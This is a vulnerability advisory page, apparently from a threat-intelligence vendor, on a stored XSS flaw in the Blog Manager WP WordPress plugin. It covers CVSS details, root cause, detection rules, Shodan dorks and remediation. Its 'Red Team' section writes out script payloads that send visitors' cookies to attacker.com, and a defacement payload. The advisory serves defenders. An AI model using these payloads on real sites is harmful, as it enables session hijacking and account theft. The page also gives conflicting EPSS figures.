☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpdiscover logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-46517

CVE-2025-46517 Cross-Site Scripting in Wpdiscover
📅 PUBLISHED: 2025-04-24 16:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-46517 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Blog Manager WP" by wpdiscover, affecting versions up to and including 1.0.5. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into blog posts or settings. This injected code is stored on the server and executed in the browsers of any user viewing the affected page, including site administrators.

The CVSS v3.1 score is 5.9 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The attack requires low privileges and user interaction (a victim visiting the page), but the impact is limited to confidentiality, integrity, and availability at a low level. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes this a persistent risk for WordPress sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and potentially third-party repositories. Since no patch is available, site administrators must consider removing the plugin entirely. The supply chain risk is elevated because the vendor (wpdiscover) has not responded to disclosure, meaning no official fix exists. Users relying on automatic updates are unprotected.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
  • User Interaction (UI): Required (R) – Victim must visit the compromised page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited denial of service potential.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to session hijacking, defacement, or phishing campaigns against site visitors.

Deep Dive & Mechanics

The vulnerability exists in the blog-manager-wp plugin's handling of user input when creating or editing blog posts. The plugin fails to sanitize or escape data before storing it in the WordPress database and later rendering it in the admin dashboard or frontend. Specifically, the wp_kses or similar sanitization functions are not applied to fields such as post titles, custom meta fields, or settings.

Attack Flow:

  1. An attacker with contributor-level access logs into the WordPress admin.
  2. The attacker creates a new blog post or edits an existing one.
  3. In a vulnerable field (e.g., post title, excerpt, or custom field), the attacker injects a payload like <script>alert('XSS')</script>.
  4. The plugin stores the payload without sanitization.
  5. When an administrator or visitor views the post, the script executes in their browser.

Root Cause: The plugin uses echo or the_title() without applying esc_html() or wp_kses_post() to user-controlled data. This is a classic failure to follow WordPress coding standards for output escaping.

Vulnerable vs. Patched Code

Vulnerable Code (blog-manager-wp/includes/class-blog-manager-wp.php):

function display_post_title($post_id) {
    $title = get_post_meta($post_id, 'custom_title', true);
    echo "<h2>" . $title . "</h2>"; // No escaping
}

Patched Code (Hypothetical):

function display_post_title($post_id) {
    $title = get_post_meta($post_id, 'custom_title', true);
    echo "<h2>" . esc_html($title) . "</h2>"; // Escaped
}

The patch would require adding esc_html() or wp_kses_post() to all output functions that render user-supplied data. Since no official patch exists, this is a manual fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with Blog Manager WP <= 1.0.5.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to wp-admin/admin.php?page=blog-manager-wp-add.
  3. In the "Post Title" field, inject:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the post.
  5. Send the post link to an administrator or victim.
  6. When the victim views the post, the script executes, exfiltrating cookies.

Payload Examples:

  • Session hijacking: <script>new Image().src='https://attacker.com/log?c='+document.cookie</script>
  • Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team

Detection:

  • Monitor for unusual post content containing <script> tags.
  • Review WordPress logs for posts created by low-privilege users with suspicious titles.
  • Use WAF rules to block common XSS patterns in POST requests to admin-ajax.php or plugin admin pages.

Hunting Query (WordPress Database):

SELECT ID, post_title, post_content FROM wp_posts WHERE post_title LIKE '%<script%' OR post_content LIKE '%<script%';

Indicators of Compromise (IOCs)

  • File Hashes: (None available; plugin files unchanged)
  • Network Indicators:
    • Outbound HTTP requests to unknown domains from WordPress admin.
    • POST requests to admin-ajax.php with action=blog_manager_wp_save and payloads containing <script>.
  • Log Entries:
    • WordPress debug log entries showing wp_kses failures or unescaped output.
    • Web server logs with %3Cscript%3E in request URIs.
  • Database Artifacts:
    • Rows in wp_postmeta with meta_value containing <script> tags.
    • Rows in wp_posts with post_title or post_content containing JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_46517_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Blog Manager WP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46517"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "blog-manager-wp"
    condition:
        $plugin_path and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Blog Manager WP Plugin
id: 8a3f7c2e-9b1d-4e5f-8c7a-2d3e4f5a6b7c
status: experimental
description: Detects stored XSS attempts via Blog Manager WP plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/admin-ajax.php'
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=blog_manager_wp_save'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in post content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46517 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=blog_manager_wp_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete blog-manager-wp from the WordPress admin.
  2. Remove malicious content – Scan the database for posts containing <script> tags and delete or sanitize them.
  3. Apply a virtual patch – Use a Web Application Firewall (WAF) to block requests containing <script> in plugin-specific parameters.

Long-Term Fix:

  • Since no patch is available, migrate to an alternative WordPress blog management plugin that is actively maintained.
  • If the plugin is critical, manually patch the code by adding esc_html() to all output functions in the plugin's PHP files.

User Education:

  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT – Securing digital ecosystems through proactive threat intelligence.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Blog Manager WP"
http.html:"wp-content/plugins/blog-manager-wp"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-46517/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.